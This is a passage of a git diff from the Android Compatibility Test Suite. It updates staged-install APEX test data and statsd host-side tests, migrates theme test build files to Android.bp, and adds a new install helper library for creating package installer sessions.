--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_wrong_sha.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_wrong_sha.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3.apex
index 57ab7b9..dfb6757 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob.apex
new file mode 100644
index 0000000..ca32c0d
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob_rot.apex
new file mode 100644
index 0000000..befa6b2
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim_not_pre_installed.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim_not_pre_installed.apex
index 45715a2..6e5b1c6 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim_not_pre_installed.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim_not_pre_installed.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apk/Av1.xml b/hostsidetests/stagedinstall/testdata/apk/Av1.xml
deleted file mode 100644
index 234448c..0000000
--- a/hostsidetests/stagedinstall/testdata/apk/Av1.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<!--
- ~ Copyright (C) 2019 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.tests.stagedinstall.testapp.A"
- android:versionCode="1"
- android:versionName="1.0" >
-
-
- <uses-sdk android:minSdkVersion="19" />
-
- <application android:label="StagedInstall Test App A v1">
- <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/hostsidetests/stagedinstall/testdata/apk/Av2.xml b/hostsidetests/stagedinstall/testdata/apk/Av2.xml
deleted file mode 100644
index dd5e512..0000000
--- a/hostsidetests/stagedinstall/testdata/apk/Av2.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<!--
- ~ Copyright (C) 2019 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.tests.stagedinstall.testapp.A"
- android:versionCode="2"
- android:versionName="2.0" >
-
-
- <uses-sdk android:minSdkVersion="19" />
-
- <application android:label="StagedInstall Test App A v2">
- <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
index 3109138..3b81a0b 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
@@ -69,6 +69,23 @@
}
}
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ if (PERFETTO_TESTS_ENABLED) {
+ //Deadline to finish trace collection
+ final long deadLine = System.currentTimeMillis() + 10000;
+ while (isSystemTracingEnabled()) {
+ if (System.currentTimeMillis() > deadLine) {
+ CLog.w("/sys/kernel/debug/tracing/tracing_on is still 1 after 10 secs : " + isSystemTracingEnabled());
+ break;
+ }
+ CLog.d("Waiting to finish collecting traces. ");
+ Thread.sleep(WAIT_TIME_SHORT);
+ }
+ }
+ }
+
// Tests that anomaly detection for count works.
// Also tests that anomaly detection works when spanning multiple buckets.
public void testCountAnomalyDetection() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index f38bf33..5b5711c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -66,6 +66,7 @@
import java.util.List;
import java.util.Set;
import java.util.function.Function;
+import java.util.stream.Collectors;
/**
* Base class for testing Statsd atoms.
@@ -239,6 +240,16 @@
}
/**
+ * Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
+ */
+ protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
+ ConfigMetricsReportList configMetricsReportList) {
+ return configMetricsReportList.getReportsList().stream()
+ .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
+ .collect(Collectors.toList());
+ }
+
+ /**
* Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
* contain a single report).
*/
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index cb66496..446d90f 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -17,7 +17,6 @@
import android.net.wifi.WifiModeEnum;
import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
import android.server.ErrorSource;
import com.android.internal.os.StatsdConfigProto.FieldMatcher;
@@ -33,7 +32,6 @@
import com.android.os.AtomsProto.BleScanResultReceived;
import com.android.os.AtomsProto.BleScanStateChanged;
import com.android.os.AtomsProto.CameraStateChanged;
-import com.android.os.AtomsProto.CpuActiveTime;
import com.android.os.AtomsProto.DangerousPermissionState;
import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
import com.android.os.AtomsProto.FlashlightStateChanged;
@@ -368,42 +366,6 @@
assertTrue("found uid " + uid, found);
}
- @RestrictedBuildTest
- public void testCpuActiveTime() throws Exception {
- if (statsdDisabled()) {
- return;
- }
- if (!hasFeature(FEATURE_WATCH, false)) return;
- StatsdConfig.Builder config = getPulledConfig();
- FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
- .setField(Atom.CPU_ACTIVE_TIME_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(CpuActiveTime.UID_FIELD_NUMBER));
- addGaugeAtomWithDimensions(config, Atom.CPU_ACTIVE_TIME_FIELD_NUMBER, dimension);
-
- uploadConfig(config);
-
- Thread.sleep(WAIT_TIME_LONG);
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
- Thread.sleep(WAIT_TIME_SHORT);
- setAppBreadcrumbPredicate();
- Thread.sleep(WAIT_TIME_LONG);
-
- List<Atom> atomList = getGaugeMetricDataList();
-
- boolean found = false;
- int uid = getUid();
- long timeSpent = 0;
- for (Atom atom : atomList) {
- if (atom.getCpuActiveTime().getUid() == uid) {
- found = true;
- timeSpent += atom.getCpuActiveTime().getTimeMillis();
- }
- }
- assertTrue(timeSpent > 0);
- assertTrue("found uid " + uid, found);
- }
-
public void testDeviceCalculatedPowerUse() throws Exception {
if (statsdDisabled()) {
return;
@@ -1182,6 +1144,8 @@
// Start test app and trigger a pull while its running.
try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
"action.show_notification")) {
+ Thread.sleep(WAIT_TIME_SHORT);
+ // Trigger a pull and wait for new pull before killing the process.
setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
}
@@ -1329,7 +1293,7 @@
Thread.sleep(WAIT_TIME_SHORT);
getDevice().executeShellCommand(
"am broadcast -a action_anr -p " + DEVICE_SIDE_TEST_PACKAGE);
- Thread.sleep(11_000);
+ Thread.sleep(20_000);
}
// Sorted list of events in order in which they occurred.
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index fc069b1..803dd2e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -32,6 +32,8 @@
import com.android.os.StatsLog.StatsLogReport;
import com.android.tradefed.log.LogUtil;
+import java.util.List;
+
/**
* Test Statsd Metric activations and deactivations
*/
@@ -226,8 +228,8 @@
Thread.sleep(10L);
ConfigMetricsReportList reportList = getReportList();
- assertEquals(1, reportList.getReportsCount());
- ConfigMetricsReport report = reportList.getReports(0);
+ List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+ ConfigMetricsReport report = reports.get(0);
verifyMetrics(report, 4, 0, 1);
}
@@ -371,18 +373,19 @@
logAllMetrics();
ConfigMetricsReportList reportList = getReportList();
- assertEquals(3, reportList.getReportsCount());
+ List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+ assertEquals(3, reports.size());
// Report before restart.
- ConfigMetricsReport report = reportList.getReports(0);
+ ConfigMetricsReport report = reports.get(0);
verifyMetrics(report, 1, 0, 1);
// Report after first restart.
- report = reportList.getReports(1);
+ report = reports.get(1);
verifyMetrics(report, 2, 3, 4);
// Report after second restart.
- report = reportList.getReports(2);
+ report = reports.get(2);
verifyMetrics(report, 2, 2, 3);
}
@@ -506,18 +509,19 @@
logAllMetrics();
ConfigMetricsReportList reportList = getReportList();
- assertEquals(3, reportList.getReportsCount());
+ List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+ assertEquals(3, reports.size());
// Report before restart.
- ConfigMetricsReport report = reportList.getReports(0);
+ ConfigMetricsReport report = reports.get(0);
verifyMetrics(report, 3, 0, 3);
// Report after first restart.
- report = reportList.getReports(1);
+ report = reports.get(1);
verifyMetrics(report, 2, 2, 3);
// Report after second restart.
- report = reportList.getReports(2);
+ report = reports.get(2);
verifyMetrics(report, 0, 0, 1);
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
index 7b95933..6369470 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
@@ -53,9 +53,11 @@
plugInUsb();
}
+ /*
public void testConnectivityStateChange() throws Exception {
if (!hasFeature(FEATURE_WIFI, true)) return;
if (!hasFeature(FEATURE_WATCH, false)) return;
+ if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
final String fileName = "BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt";
StatsdConfig config = createValidationUtil().getConfig(fileName);
LogUtil.CLog.d("Updating the following config:\n" + config.toString());
@@ -76,6 +78,7 @@
assertEquals(batterystatsProto.getSystem().getMisc().getNumConnectivityChanges(),
countMetricData.get(0).getBucketInfo(0).getCount());
}
+ */
public void testPowerUse() throws Exception {
if (statsdDisabled()) {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index 6c5de5a..ae40111 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -131,10 +131,9 @@
assertNotNull(wl);
assertTrue(wl.getDurationMs() > 0);
- assertTrue(wl.getCount() == 1);
- assertTrue(wl.getMaxDurationMs() >= 500);
+ assertTrue(wl.getMaxDurationMs() >= 400);
assertTrue(wl.getMaxDurationMs() < 700);
- assertTrue(wl.getTotalDurationMs() >= 500);
+ assertTrue(wl.getTotalDurationMs() >= 400);
assertTrue(wl.getTotalDurationMs() < 700);
setAodState(aodState); // restores AOD to initial state.
diff --git a/hostsidetests/sustainedperf/AndroidTest.xml b/hostsidetests/sustainedperf/AndroidTest.xml
index 2377fa4..b877fb5 100644
--- a/hostsidetests/sustainedperf/AndroidTest.xml
+++ b/hostsidetests/sustainedperf/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSustainedPerformanceTestCases.apk" />
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index e2b6f70..19d5033 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -18,6 +18,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
+# TODO: the following hinders conversion of this makefile to a blueprint.
# Special handling for pre-release builds where the SDK version has not been
# updated, in which case we'll use the version codename (ex. "O").
ifeq (REL,$(PLATFORM_VERSION_CODENAME))
@@ -42,4 +43,3 @@
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/theme/app/Android.bp b/hostsidetests/theme/app/Android.bp
new file mode 100644
index 0000000..5ad776d
--- /dev/null
+++ b/hostsidetests/theme/app/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsThemeDeviceApp",
+ defaults: ["cts_support_defaults"],
+ static_libs: ["androidx.test.rules"],
+ srcs: ["src/**/*.java"],
+ // Tell the Android Asset Packaging Tool not to strip for some densities
+ aapt_include_all_resources: true,
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
deleted file mode 100644
index 20ddc75..0000000
--- a/hostsidetests/theme/app/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-# and because it is in data, do not strip classes.dex
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-#Flag to tell the Android Asset Packaging Tool not to strip for some densities
-LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
-
-LOCAL_PACKAGE_NAME := CtsThemeDeviceApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/theme/assets/29/450dpi.zip b/hostsidetests/theme/assets/29/450dpi.zip
new file mode 100755
index 0000000..e346378
--- /dev/null
+++ b/hostsidetests/theme/assets/29/450dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index b05d5f0..4c812b2 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -46,6 +46,7 @@
400: "400dpi",
420: "420dpi",
440: "440dpi",
+ 450: "450dpi",
480: "xxhdpi",
560: "560dpi",
640: "xxxhdpi",
diff --git a/hostsidetests/usb/AndroidTest.xml b/hostsidetests/usb/AndroidTest.xml
index c6105de..14f6b95 100644
--- a/hostsidetests/usb/AndroidTest.xml
+++ b/hostsidetests/usb/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsUsbTests.jar" />
</test>
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
new file mode 100644
index 0000000..5ca15ae
--- /dev/null
+++ b/libs/install/Android.bp
@@ -0,0 +1,97 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+android_test_helper_app {
+ name: "TestAppAv1",
+ manifest: "testapp/Av1.xml",
+ sdk_version: "current",
+ srcs: ["testapp/src/**/*.java"],
+ resource_dirs: ["testapp/res_v1"],
+}
+
+android_test_helper_app {
+ name: "TestAppAv2",
+ manifest: "testapp/Av2.xml",
+ sdk_version: "current",
+ srcs: ["testapp/src/**/*.java"],
+ resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
+ name: "TestAppAv3",
+ manifest: "testapp/Av3.xml",
+ sdk_version: "current",
+ srcs: ["testapp/src/**/*.java"],
+ resource_dirs: ["testapp/res_v3"],
+}
+
+android_test_helper_app {
+ name: "TestAppACrashingV2",
+ manifest: "testapp/ACrashingV2.xml",
+ sdk_version: "current",
+ srcs: ["testapp/src/**/*.java"],
+ resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
+ name: "TestAppBv1",
+ manifest: "testapp/Bv1.xml",
+ sdk_version: "current",
+ srcs: ["testapp/src/**/*.java"],
+ resource_dirs: ["testapp/res_v1"],
+}
+
+android_test_helper_app {
+ name: "TestAppBv2",
+ manifest: "testapp/Bv2.xml",
+ sdk_version: "current",
+ srcs: ["testapp/src/**/*.java"],
+ resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
+ name: "TestAppASplitV1",
+ manifest: "testapp/Av1.xml",
+ sdk_version: "current",
+ srcs: ["testapp/src/**/*.java"],
+ resource_dirs: ["testapp/res_v1"],
+ package_splits: ["anydpi"],
+}
+
+android_test_helper_app {
+ name: "TestAppASplitV2",
+ manifest: "testapp/Av2.xml",
+ sdk_version: "current",
+ srcs: ["testapp/src/**/*.java"],
+ resource_dirs: ["testapp/res_v2"],
+ package_splits: ["anydpi"],
+}
+
+java_library {
+ name: "cts-install-lib",
+ srcs: ["src/**/*.java"],
+ static_libs: ["androidx.test.rules", "truth-prebuilt"],
+ sdk_version: "test_current",
+ java_resources: [
+ ":TestAppAv1",
+ ":TestAppAv2",
+ ":TestAppAv3",
+ ":TestAppBv1",
+ ":TestAppBv2",
+ ":TestAppACrashingV2",
+ ":TestAppASplitV1",
+ ":TestAppASplitV2",
+ ],
+}
diff --git a/libs/install/TEST_MAPPING b/libs/install/TEST_MAPPING
new file mode 100644
index 0000000..abe4a1a
--- /dev/null
+++ b/libs/install/TEST_MAPPING
@@ -0,0 +1,13 @@
+{
+ "imports": [
+ {
+ "path": "cts/tests/rollback"
+ },
+ {
+ "path": "cts/hostsidetests/rollback"
+ },
+ {
+ "path": "cts/lib/rollback"
+ }
+ ]
+}
diff --git a/libs/install/src/com/android/cts/install/lib/Install.java b/libs/install/src/com/android/cts/install/lib/Install.java
new file mode 100644
index 0000000..4ea91a1
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/Install.java
@@ -0,0 +1,230 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Intent;
+import android.content.pm.PackageInstaller;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+/**
+ * Builder class for installing test apps and creating install sessions.
+ */
+public class Install {
+ // The collection of apps to be installed with parameters inherited from parent Install object.
+ private final TestApp[] mTestApps;
+ // The collection of apps to be installed with parameters independent of parent Install object.
+ private final Install[] mChildInstalls;
+ // Indicates whether Install represents a multiPackage install.
+ private final boolean mIsMultiPackage;
+ // PackageInstaller.Session parameters.
+ private boolean mIsStaged = false;
+ private boolean mIsDowngrade = false;
+ private boolean mEnableRollback = false;
+ private int mSessionMode = PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+ private Install(boolean isMultiPackage, TestApp... testApps) {
+ mIsMultiPackage = isMultiPackage;
+ mTestApps = testApps;
+ mChildInstalls = new Install[0];
+ }
+
+ private Install(boolean isMultiPackage, Install... installs) {
+ mIsMultiPackage = isMultiPackage;
+ mTestApps = new TestApp[0];
+ mChildInstalls = installs;
+ }
+
+ /**
+ * Creates an Install builder to install a single package.
+ */
+ public static Install single(TestApp testApp) {
+ return new Install(false, testApp);
+ }
+
+ /**
+ * Creates an Install builder to install using multiPackage.
+ */
+ public static Install multi(TestApp... testApps) {
+ return new Install(true, testApps);
+ }
+
+ /**
+ * Creates an Install builder from separate Install builders. The newly created builder
+ * will be responsible for building the parent session, while each one of the other builders
+ * will be responsible for building one of the child sessions.
+ *
+ * <p>Modifications to the parent install are not propagated to the child installs,
+ * and vice versa. This gives more control over a multi install session,
+ * e.g. can setStaged on a subset of the child sessions or setStaged on a child session but
+ * not on the parent session.
+ *
+ * <p>It's encouraged to use {@link #multi} that receives {@link TestApp}s
+ * instead of {@link Install}s. This variation of {@link #multi} should be used only if it's
+ * necessary to modify parameters in a subset of the installed sessions.
+ */
+ public static Install multi(Install... installs) {
+ for (Install childInstall : installs) {
+ assertThat(childInstall.isMultiPackage()).isFalse();
+ }
+ Install install = new Install(true, installs);
+ return install;
+ }
+
+ /**
+ * Makes the install a staged install.
+ */
+ public Install setStaged() {
+ mIsStaged = true;
+ return this;
+ }
+
+ /**
+ * Marks the install as a downgrade.
+ */
+ public Install setRequestDowngrade() {
+ mIsDowngrade = true;
+ return this;
+ }
+
+ /**
+ * Enables rollback for the install.
+ */
+ public Install setEnableRollback() {
+ mEnableRollback = true;
+ return this;
+ }
+
+ /**
+ * Sets the session mode {@link PackageInstaller.SessionParams#MODE_INHERIT_EXISTING}.
+ * If it's not set, then the default session mode is
+ * {@link PackageInstaller.SessionParams#MODE_FULL_INSTALL}
+ */
+ public Install setSessionMode(int sessionMode) {
+ mSessionMode = sessionMode;
+ return this;
+ }
+
+ /**
+ * Commits the install.
+ *
+ * @return the session id of the install session, if the session is successful.
+ * @throws AssertionError if the install doesn't succeed.
+ */
+ public int commit() throws IOException, InterruptedException {
+ int sessionId = createSession();
+ PackageInstaller.Session session = InstallUtils.openPackageInstallerSession(sessionId);
+ session.commit(LocalIntentSender.getIntentSender());
+ Intent result = LocalIntentSender.getIntentSenderResult();
+ int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+ PackageInstaller.STATUS_FAILURE);
+ if (status == -1) {
+ throw new AssertionError("PENDING USER ACTION");
+ } else if (status > 0) {
+ String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
+ throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
+ }
+
+ if (mIsStaged) {
+ InstallUtils.waitForSessionReady(sessionId);
+ }
+ return sessionId;
+ }
+
+ /**
+ * Kicks off an install flow by creating an install session
+ * and, in the case of a multiPackage install, child install sessions.
+ *
+ * @return the session id of the install session, if the session is successful.
+ */
+ public int createSession() throws IOException {
+ int sessionId;
+ if (isMultiPackage()) {
+ PackageInstaller.Session session;
+ sessionId = createEmptyInstallSession(/*multiPackage*/ true, /*isApex*/false);
+ session = InstallUtils.openPackageInstallerSession(sessionId);
+ for (Install subInstall : mChildInstalls) {
+ session.addChildSessionId(subInstall.createSession());
+ }
+ for (TestApp testApp : mTestApps) {
+ session.addChildSessionId(createSingleInstallSession(testApp));
+ }
+ } else {
+ assert mTestApps.length == 1;
+ sessionId = createSingleInstallSession(mTestApps[0]);
+ }
+ return sessionId;
+ }
+
+ /**
+ * Creates an empty install session with appropriate install params set.
+ *
+ * @return the session id of the newly created session
+ */
+ private int createEmptyInstallSession(boolean multiPackage, boolean isApex)
+ throws IOException {
+ PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(mSessionMode);
+ if (multiPackage) {
+ params.setMultiPackage();
+ }
+ if (isApex) {
+ params.setInstallAsApex();
+ }
+ if (mIsStaged) {
+ params.setStaged();
+ }
+ params.setRequestDowngrade(mIsDowngrade);
+ params.setEnableRollback(mEnableRollback);
+ return InstallUtils.getPackageInstaller().createSession(params);
+ }
+
+ /**
+ * Creates an install session for the given test app.
+ *
+ * @return the session id of the newly created session.
+ */
+ private int createSingleInstallSession(TestApp app) throws IOException {
+ int sessionId = createEmptyInstallSession(/*multiPackage*/false, app.isApex());
+ PackageInstaller.Session session = InstallUtils.getPackageInstaller()
+ .openSession(sessionId);
+
+ ClassLoader loader = TestApp.class.getClassLoader();
+ for (String resourceName : app.getResourceNames()) {
+ try (OutputStream os = session.openWrite(resourceName, 0, -1);
+ InputStream is = loader.getResourceAsStream(resourceName);) {
+ if (is == null) {
+ throw new IOException("Resource " + resourceName + " not found");
+ }
+ byte[] buffer = new byte[4096];
+ int n;
+ while ((n = is.read(buffer)) >= 0) {
+ os.write(buffer, 0, n);
+ }
+ }
+ }
+ session.close();
+ return sessionId;
+ }
+
+ private boolean isMultiPackage() {
+ return mIsMultiPackage;
+ }
+}
diff --git a/libs/install/src/com/android/cts/install/lib/InstallUtils.java b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
new file mode 100644
index 0000000..82e0cb1
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+
+
+import androidx.test.InstrumentationRegistry;
+
+import java.io.IOException;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/**
